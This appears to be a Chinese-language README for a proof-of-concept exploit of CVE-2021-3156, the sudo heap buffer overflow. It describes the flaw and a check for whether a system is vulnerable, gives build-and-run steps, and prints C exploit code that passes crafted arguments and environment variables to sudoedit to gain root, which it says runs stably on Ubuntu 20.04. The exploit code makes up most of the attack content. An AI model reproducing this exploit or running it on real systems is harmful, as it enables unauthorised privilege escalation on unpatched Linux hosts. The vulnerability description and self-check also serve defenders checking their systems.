目前exp在ubuntu 20.04环境下稳定运行，其他linux发行版未测试

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CVE-2021-3156: 缓冲区溢出漏洞

在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户（普通用户和系统用户，sudoer和非sudoers）都可以利用此漏洞，而无需进行身份验证，攻击者不需要知道用户的密码。成功利用此漏洞可以获得root权限。

用户可以使用如下方法进行自查： 以非root用户登录系统，并使用命令sudoedit -s /

• 如果响应一个以sudoedit:开头的报错，那么表明存在漏洞。
• 如果响应一个以usage:开头的报错，那么表明补丁已经生效。

复现过程

根目录中进入CVE-2021-3156文件夹中，执行make编译项目，随后执行sudo-hax-me-a-sandwich

过程如下图所示

exp代码如下

 int main(int argc, char *argv[]) {
 // CTF quality exploit below.
 char *s_argv[]={
  "sudoedit",
  "-u", "root", "-s",
  "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\",
  "\\",
  "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB123456\\",
  NULL
 };
 char *s_envp[]={
  "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
  "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
  "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
  "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
  "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
  "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
  "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
  "\\", "\\", "\\", "\\", "\\", "\\", "\\",  
  "X/P0P_SH3LLZ_", "\\",
  "LC_MESSAGES=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
  "LC_ALL=C.UTF-8@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
  "LC_CTYPE=C.UTF-8@AAAAAAAAAAAAAA",
  NULL
 };
 printf("**** CVE-2021-3156 PoC by blasty <peter@haxx.in>\n");
 execve(SUDOEDIT_PATH, s_argv, s_envp);
 return 0;
}